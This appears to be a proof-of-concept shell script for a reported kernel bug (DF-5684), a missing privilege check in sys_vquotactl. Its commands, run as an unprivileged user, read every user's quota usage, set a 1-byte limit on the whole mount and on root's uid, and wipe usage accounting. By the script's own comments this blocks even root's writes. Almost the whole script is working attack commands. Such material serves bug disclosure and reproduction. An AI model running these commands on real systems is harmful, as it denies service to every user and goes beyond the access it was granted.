#!/bin/sh
# DF-5684 — missing privilege check in sys_vquotactl(2).
# Part 1 (this script) runs as UNPRIVILEGED user maxx and sets limits.
# Part 2 (run as root separately) proves the effect blocks even root writes.
# Requires kernel booted with vfs.quota_enabled=1.
set -x
id
sysctl vfs.quota_enabled

# 1. unprivileged user reads usage of ALL uids/gids on the mount
vquota get usage all / | head -5

# 2. unprivileged user sets a MOUNT-WIDE limit of 1 byte
vquota set limit / 1
echo "set-limit rc=$?"

# 3. unprivileged user sets a limit targeting root's uid specifically
vquota set limit uid 0 1 /
echo "set-limit-uid rc=$?"

# 4. unprivileged user wipes usage accounting
vquota set usage all / >/dev/null 2>&1
echo "set-usage-all rc=$?"
